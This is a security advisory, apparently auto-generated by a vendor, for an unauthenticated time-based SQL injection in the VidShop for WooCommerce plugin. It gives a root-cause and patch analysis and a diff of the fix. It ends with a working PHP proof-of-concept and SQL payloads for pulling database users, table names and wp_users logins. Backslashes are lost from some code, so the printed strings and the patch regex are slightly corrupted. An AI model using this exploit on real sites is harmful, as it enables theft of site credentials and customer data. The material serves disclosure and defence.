Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0702: VidShop – Shoppable Videos for WooCommerce <= 1.1.4 – Unauthenticated Time-Based SQL Injection via 'fields' (vidshop-for-woocommerce)

CVE ID CVE-2026-0702
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.1.4
Patched Version 1.1.5
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0702:
The VidShop for WooCommerce plugin contains an unauthenticated time-based SQL injection vulnerability in its REST API endpoint. Attackers can inject malicious SQL payloads via the ‘fields’ parameter, allowing data extraction from the WordPress database. This vulnerability affects all plugin versions up to and including 1.1.4, with a CVSS score of 7.5.

Root Cause:
The vulnerability originates in the get_items() method of the Videos_Controller class at vidshop-for-woocommerce/includes/rest-api/v1/class-videos-controller.php. The ‘fields’ parameter from user input passes directly into the select() method without validation. The Query_Builder class at vidshop-for-woocommerce/includes/utils/class-query-builder.php then incorporates this unsanitized input into SQL queries. The plugin fails to use prepared statements for date range parameters in multiple model methods, including get_total_likes() in class-video-event-model.php and get_total_views() in class-video-product-stats-model.php.

Exploitation:
Attackers send GET requests to the WordPress REST API endpoint /wp-json/vidshop/v1/videos with a malicious ‘fields’ parameter. The payload uses SQL time delays like SLEEP(5) to extract database information through blind injection. Example payload: fields=id,(SELECT+1+FROM+dual+WHERE+SLEEP(5)). The attacker can enumerate database structure and extract sensitive data including user credentials, plugin data, and WooCommerce information.

Patch Analysis:
The patch introduces multiple security layers. Version 1.1.5 adds a sanitize_fields_param() method that implements whitelist validation against allowed field names. The get_allowed_fields() method defines acceptable column names. The Query_Builder class receives a new sanitize_columns() method with regex validation for column names. All date range queries now use $wpdb->prepare() with prepared statements. The video_id parameters receive absint() sanitization. The patch also adds proper sanitization for the ‘ids’ parameter and implements prepared statements for ORDER BY FIELD() clauses.

Impact:
Successful exploitation enables complete database compromise. Attackers can extract WordPress user credentials, WooCommerce customer data, payment information, and plugin-specific video analytics. The time-based nature allows attackers to bypass traditional error-based detection. Database extraction can lead to credential stuffing attacks, identity theft, and further system compromise through password hash cracking or session hijacking.

Differential between vulnerable and patched code

Code Diff
--- a/vidshop-for-woocommerce/includes/models/class-video-event-model.php
+++ b/vidshop-for-woocommerce/includes/models/class-video-event-model.php
@@ -71,6 +71,8 @@
 	 * @return int
 	 */
 	public static function get_total_likes( $start_date, $end_date, $video_id = null ) {
+		global $wpdb;
+
 		$query = static::query()->where( 'event_type', 'like' );

 		// Join with sessions table
@@ -79,14 +81,15 @@

 		$query->join_raw( "JOIN {$sessions_table} s ON {$events_table}.session_id = s.id" );

-		// Add date range condition only if dates are provided
+		// Add date range condition only if dates are provided - use prepared statement
 		if ( $start_date && $end_date ) {
-			$query->where_raw( "s.started_at BETWEEN '{$start_date}' AND '{$end_date}'" );
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+			$query->where_raw( $wpdb->prepare( 's.started_at BETWEEN %s AND %s', $start_date, $end_date ) );
 		}

 		// Add video filter if provided
 		if ( $video_id ) {
-			$query->where( 'video_id', $video_id );
+			$query->where( 'video_id', absint( $video_id ) );
 		}

 		return $query->count();
@@ -101,6 +104,8 @@
 	 * @return int
 	 */
 	public static function get_unique_likes( $start_date, $end_date, $video_id = null ) {
+		global $wpdb;
+
 		$query = static::query()->where( 'event_type', 'like' );

 		// Join with sessions table
@@ -109,14 +114,15 @@

 		$query->join_raw( "JOIN {$sessions_table} s ON {$events_table}.session_id = s.id" );

-		// Add date range condition only if dates are provided
+		// Add date range condition only if dates are provided - use prepared statement
 		if ( $start_date && $end_date ) {
-			$query->where_raw( "s.started_at BETWEEN '{$start_date}' AND '{$end_date}'" );
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+			$query->where_raw( $wpdb->prepare( 's.started_at BETWEEN %s AND %s', $start_date, $end_date ) );
 		}

 		// Add video filter if provided
 		if ( $video_id ) {
-			$query->where( 'video_id', $video_id );
+			$query->where( 'video_id', absint( $video_id ) );
 		}

 		return $query->count_distinct( 's.visitor_id' );
--- a/vidshop-for-woocommerce/includes/models/class-video-product-stats-model.php
+++ b/vidshop-for-woocommerce/includes/models/class-video-product-stats-model.php
@@ -114,10 +114,13 @@
 	 * @return int The total number of views.
 	 */
 	public static function get_total_views( $start_date, $end_date ) {
+		global $wpdb;
+
 		$query = static::query();

 		if ( $start_date && $end_date ) {
-			$query->where_raw( "created_at BETWEEN '{$start_date}' AND '{$end_date}'" );
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+			$query->where_raw( $wpdb->prepare( 'created_at BETWEEN %s AND %s', $start_date, $end_date ) );
 		}

 		return $query->sum( 'views' );
@@ -131,20 +134,23 @@
 	 * @return int The total number of add to cart events.
 	 */
 	public static function get_total_add_to_cart( $start_date, $end_date ) {
+		global $wpdb;
+
 		$query = static::query();

 		if ( $start_date && $end_date ) {
-			$query->where_raw( "created_at BETWEEN '{$start_date}' AND '{$end_date}'" );
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+			$query->where_raw( $wpdb->prepare( 'created_at BETWEEN %s AND %s', $start_date, $end_date ) );
 		}

 		return $query->sum( 'add_to_cart_count' );
 	}

-			/**
-			 * Get top 5 products by add to cart count
-			 *
-			 * @return array Array of product IDs and their add to cart counts.
-			 */
+	/**
+	 * Get top 5 products by add to cart count
+	 *
+	 * @return array Array of product IDs and their add to cart counts.
+	 */
 	public static function get_top_added_to_cart_products() {
 		return static::query()
 			->select( array( 'product_id', 'SUM(add_to_cart_count) as total_add_to_cart', 'SUM(views) as total_views' ) )
@@ -157,14 +163,22 @@
 	/**
 	 * Get products for a video
 	 *
-	 * @param int $video_id The video ID.
+	 * @param string $start_date Start date.
+	 * @param string $end_date   End date.
+	 * @param int    $video_id   The video ID.
 	 * @return array Array of product IDs and their add to cart counts.
 	 */
 	public static function get_products( $start_date, $end_date, $video_id ) {
-		return static::query()
-			->where_raw( "created_at BETWEEN '{$start_date}' AND '{$end_date}'" )
-			->where( 'video_id', '=', $video_id )
-			->get();
+		global $wpdb;
+
+		$query = static::query();
+
+		if ( $start_date && $end_date ) {
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+			$query->where_raw( $wpdb->prepare( 'created_at BETWEEN %s AND %s', $start_date, $end_date ) );
+		}
+
+		return $query->where( 'video_id', '=', absint( $video_id ) )->get();
 	}

 	/**
--- a/vidshop-for-woocommerce/includes/models/class-video-session-model.php
+++ b/vidshop-for-woocommerce/includes/models/class-video-session-model.php
@@ -129,6 +129,8 @@
 	 * @return int
 	 */
 	public static function get_total_sessions( $start_date, $end_date, $video_id = null ) {
+		global $wpdb;
+
 		$query = static::query();

 		if ( $video_id ) {
@@ -137,18 +139,22 @@
 			$sessions_table = ( new static() )->get_full_table_name();

 			$query->join_raw( "JOIN {$events_table} e ON {$sessions_table}.id = e.session_id" );
-			$query->where_raw( "e.video_id = {$video_id}" );
+			// Use prepared statement for video_id
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+			$query->where_raw( $wpdb->prepare( 'e.video_id = %d', absint( $video_id ) ) );

 			// Add date range condition only if dates are provided
 			if ( $start_date && $end_date ) {
-				$query->where_raw( "{$sessions_table}.started_at BETWEEN '{$start_date}' AND '{$end_date}'" );
+				// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+				$query->where_raw( $wpdb->prepare( "{$sessions_table}.started_at BETWEEN %s AND %s", $start_date, $end_date ) );
 			}

 			return $query->count_distinct( "{$sessions_table}.id" );
 		} else {
 			// Add date range condition only if dates are provided
 			if ( $start_date && $end_date ) {
-				$query->where_raw( "started_at BETWEEN '{$start_date}' AND '{$end_date}'" );
+				// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+				$query->where_raw( $wpdb->prepare( 'started_at BETWEEN %s AND %s', $start_date, $end_date ) );
 			}

 			return $query->count();
@@ -164,6 +170,8 @@
 	 * @return int
 	 */
 	public static function get_unique_sessions( $start_date, $end_date, $video_id = null ) {
+		global $wpdb;
+
 		$query = static::query();

 		if ( $video_id ) {
@@ -172,18 +180,22 @@
 			$sessions_table = ( new static() )->get_full_table_name();

 			$query->join_raw( "JOIN {$events_table} e ON {$sessions_table}.id = e.session_id" );
-			$query->where_raw( "e.video_id = {$video_id}" );
+			// Use prepared statement for video_id
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+			$query->where_raw( $wpdb->prepare( 'e.video_id = %d', absint( $video_id ) ) );

 			// Add date range condition only if dates are provided
 			if ( $start_date && $end_date ) {
-				$query->where_raw( "{$sessions_table}.started_at BETWEEN '{$start_date}' AND '{$end_date}'" );
+				// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+				$query->where_raw( $wpdb->prepare( "{$sessions_table}.started_at BETWEEN %s AND %s", $start_date, $end_date ) );
 			}

 			return $query->count_distinct( "{$sessions_table}.visitor_id" );
 		} else {
 			// Add date range condition only if dates are provided
 			if ( $start_date && $end_date ) {
-				$query->where_raw( "started_at BETWEEN '{$start_date}' AND '{$end_date}'" );
+				// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+				$query->where_raw( $wpdb->prepare( 'started_at BETWEEN %s AND %s', $start_date, $end_date ) );
 			}

 			return $query->count_distinct( 'visitor_id' );
@@ -199,6 +211,8 @@
 	 * @return array
 	 */
 	public static function get_top_videos( $start_date, $end_date, $limit = 5 ) {
+		global $wpdb;
+
 		// Get video IDs with their view counts using eloquent Query Builder
 		$events_table   = ( new Video_Event_Model() )->get_full_table_name();
 		$sessions_table = ( new static() )->get_full_table_name();
@@ -209,7 +223,8 @@

 		// Add date range condition only if dates are provided
 		if ( $start_date && $end_date ) {
-			$query->where_raw( "s.started_at BETWEEN '{$start_date}' AND '{$end_date}'" );
+			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+			$query->where_raw( $wpdb->prepare( 's.started_at BETWEEN %s AND %s', $start_date, $end_date ) );
 		}

 		$video_view_counts = $query
--- a/vidshop-for-woocommerce/includes/rest-api/v1/class-videos-controller.php
+++ b/vidshop-for-woocommerce/includes/rest-api/v1/class-videos-controller.php
@@ -180,6 +180,68 @@
 	}

 	/**
+	 * Get allowed fields for select query (whitelist for SQL injection prevention)
+	 *
+	 * @return array
+	 */
+	private function get_allowed_fields() {
+		return array(
+			'id',
+			'title',
+			'type',
+			'source_url',
+			'thumbnail_id',
+			'video_id',
+			'settings',
+			'status',
+			'created_by',
+			'created_at',
+			'updated_at',
+		);
+	}
+
+	/**
+	 * Sanitize fields parameter - whitelist validation
+	 *
+	 * @param string $fields Comma-separated fields.
+	 * @return string Sanitized fields.
+	 */
+	public function sanitize_fields_param( $fields ) {
+		if ( empty( $fields ) ) {
+			return '';
+		}
+		error_log( 'Sanitize fields parameter: ' . $fields );
+		$requested_fields = array_map( 'trim', explode( ',', $fields ) );
+		$allowed_fields   = $this->get_allowed_fields();
+		$valid_fields     = array_filter(
+			$requested_fields,
+			function ( $field ) use ( $allowed_fields ) {
+				return in_array( $field, $allowed_fields, true );
+			}
+		);
+		error_log( 'Valid fields: ' . implode( ',', $valid_fields ) );
+		return implode( ',', $valid_fields );
+	}
+
+	/**
+	 * Sanitize ids parameter - ensure all values are integers
+	 *
+	 * @param string $ids Comma-separated IDs.
+	 * @return string Sanitized IDs.
+	 */
+	public function sanitize_ids_param( $ids ) {
+		if ( empty( $ids ) ) {
+			return '';
+		}
+
+		$id_array = array_map( 'absint', explode( ',', $ids ) );
+		$id_array = array_filter( $id_array ); // Remove zeros
+		$id_array = array_unique( $id_array );
+
+		return implode( ',', $id_array );
+	}
+
+	/**
 	 * Get collection parameters
 	 */
 	public function get_collection_params() {
@@ -222,12 +284,14 @@
 				'enum'        => array( 'asc', 'desc' ),
 			),
 			'fields'   => array(
-				'description' => __( 'Comma-separated list of fields to include in the response.', 'vidshop-for-woocommerce' ),
-				'type'        => 'string',
+				'description'       => __( 'Comma-separated list of fields to include in the response.', 'vidshop-for-woocommerce' ),
+				'type'              => 'string',
+				'sanitize_callback' => array( $this, 'sanitize_fields_param' ),
 			),
 			'ids'      => array(
-				'description' => __( 'Comma-separated list of video IDs.', 'vidshop-for-woocommerce' ),
-				'type'        => 'string',
+				'description'       => __( 'Comma-separated list of video IDs.', 'vidshop-for-woocommerce' ),
+				'type'              => 'string',
+				'sanitize_callback' => array( $this, 'sanitize_ids_param' ),
 			),
 		);

@@ -238,20 +302,27 @@
 	 * Get items
 	 */
 	public function get_items( $request ) {
+		global $wpdb;
+
 		$page     = $request->get_param( 'page' );
 		$per_page = $request->get_param( 'per_page' );
 		$search   = $request->get_param( 'search' );
 		$status   = $this->check_private_permission( $request ) ? $request->get_param( 'status' ) : 'published';
 		$orderby  = $request->get_param( 'orderby' );
 		$order    = $request->get_param( 'order' );
-		$fields   = $request->get_param( 'fields' );
-		$ids      = $request->get_param( 'ids' );
+		$fields   = $request->get_param( 'fields' ); // Already sanitized via sanitize_callback
+		$ids      = $request->get_param( 'ids' ); // Already sanitized via sanitize_callback

 		$query = Video_Model::query();

-		if ( $ids ) {
-			$ids = explode( ',', $ids );
-			$query->where_in( 'id', $ids );
+		// Parse sanitized IDs (already validated as integers by sanitize_callback)
+		$ids_array = array();
+		if ( ! empty( $ids ) ) {
+			$ids_array = array_map( 'intval', explode( ',', $ids ) );
+			$ids_array = array_filter( $ids_array );
+			if ( ! empty( $ids_array ) ) {
+				$query->where_in( 'id', $ids_array );
+			}
 		}

 		$relations = array(
@@ -288,13 +359,18 @@
 		if ( $status ) {
 			$query->where( 'status', $status );
 		}
-		if ( $ids && $orderby === 'id' ) {
-			$query->order_by_raw( 'FIELD(id, ' . implode( ',', $ids ) . ')' );
+
+		// Order by FIELD() for custom ID ordering - use prepared statement
+		if ( ! empty( $ids_array ) && $orderby === 'id' ) {
+			$placeholders = implode( ',', array_fill( 0, count( $ids_array ), '%d' ) );
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$query->order_by_raw( $wpdb->prepare( "FIELD(id, {$placeholders})", $ids_array ) );
 		} elseif ( $orderby ) {
 			$query->order_by( $orderby, $order );
 		}

-		if ( $fields ) {
+		// Select specific fields (already validated via whitelist in sanitize_callback)
+		if ( ! empty( $fields ) ) {
 			$selected_fields = explode( ',', $fields );
 			$query->select( $selected_fields );
 		}
--- a/vidshop-for-woocommerce/includes/utils/class-query-builder.php
+++ b/vidshop-for-woocommerce/includes/utils/class-query-builder.php
@@ -401,13 +401,62 @@
 	}

 	/**
+	 * Validate a column name to prevent SQL injection
+	 *
+	 * @param string $column The column name to validate.
+	 * @return bool True if valid, false otherwise.
+	 */
+	protected function is_valid_column_name( $column ) {
+		// Allow * for select all
+		if ( $column === '*' ) {
+			return true;
+		}
+
+		// Allow column names with optional table alias (e.g., "id", "table.id", "t.column_name")
+		// Pattern: starts with letter/underscore, followed by alphanumeric/underscore
+		// Optionally prefixed with table alias (same pattern) and a dot
+		if ( preg_match( '/^[a-zA-Z_][a-zA-Z0-9_]*(.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $column ) ) {
+			return true;
+		}
+
+		// Allow "column AS alias" syntax with safe characters
+		if ( preg_match( '/^[a-zA-Z_][a-zA-Z0-9_]*(.[a-zA-Z_][a-zA-Z0-9_]*)?s+[Aa][Ss]s+[a-zA-Z_][a-zA-Z0-9_]*$/', $column ) ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Sanitize columns array - remove any invalid column names
+	 *
+	 * @param array $columns Array of column names.
+	 * @return array Sanitized array of valid column names.
+	 */
+	protected function sanitize_columns( $columns ) {
+		return array_filter(
+			$columns,
+			function ( $column ) {
+				return $this->is_valid_column_name( $column );
+			}
+		);
+	}
+
+	/**
 	 * Set the columns to be selected
 	 *
 	 * @param array|mixed $columns
 	 * @return $this
 	 */
 	public function select( $columns = array( '*' ) ) {
-		$this->columns = is_array( $columns ) ? $columns : func_get_args();
+		$columns       = is_array( $columns ) ? $columns : func_get_args();
+		$this->columns = $this->sanitize_columns( $columns );
+
+		// If all columns were invalid, default to all
+		if ( empty( $this->columns ) ) {
+			$this->columns = array( '*' );
+		}
+
 		return $this;
 	}

--- a/vidshop-for-woocommerce/vidshop-for-woocommerce.php
+++ b/vidshop-for-woocommerce/vidshop-for-woocommerce.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name: VidShop for WooCommerce
 Description: Upload your own videos and display WooCommerce products inside them. Let users interact and add items to cart while watching. Lightweight, fast, and fully integrated with WooCommerce.
-Version: 1.1.4
+Version: 1.1.5
 Author: WPCreatix
 Author URI: https://wpcreatix.com/
 Plugin URI: https://wpcreatix.com/
@@ -20,7 +20,7 @@
 	exit;
 }

-define( 'VSFW_VERSION', '1.1.4' );
+define( 'VSFW_VERSION', '1.1.5' );
 define( 'VSFW_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 define( 'VSFW_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
 define( 'VSFW_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0702 - VidShop – Shoppable Videos for WooCommerce <= 1.1.4 - Unauthenticated Time-Based SQL Injection via 'fields'

<?php

$target_url = 'https://example.com/wp-json/vidshop/v1/videos';

// Time-based SQL injection payload
// This payload tests if the injection point is vulnerable by causing a 5-second delay
$malicious_fields = "id,(SELECT 1 FROM dual WHERE SLEEP(5)) AS injected";

// Build the request URL with the malicious parameter
$attack_url = $target_url . '?fields=' . urlencode($malicious_fields);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Set timeout slightly above sleep duration
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing environments
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Measure response time to detect successful injection
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);

$response_time = $end_time - $start_time;
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

// Analyze results
if ($response_time >= 5) {
    echo "[+] VULNERABLE: Server delayed response by " . round($response_time, 2) . " secondsn";
    echo "[+] HTTP Status: " . $http_code . "n";
    echo "[+] Injection successful - Time-based SQLi confirmedn";
    
    // Demonstrate data extraction capability
    echo "n[+] Example extraction payloads:n";
    echo "    Extract database user: fields=id,(SELECT+USER()+WHERE+SLEEP(5))n";
    echo "    Extract table names: fields=id,(SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema=database()+LIMIT+1+OFFSET+0+AND+SLEEP(5))n";
    echo "    Extract wp_users data: fields=id,(SELECT+user_login+FROM+wp_users+WHERE+ID=1+AND+SLEEP(5))n";
} else {
    echo "[-] NOT VULNERABLE: Response time " . round($response_time, 2) . " secondsn";
    echo "[-] HTTP Status: " . $http_code . "n";
    echo "[-] Server may be patched or injection failedn";
}

// Optional: Show raw response for debugging
// echo "nResponse: " . $response . "n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School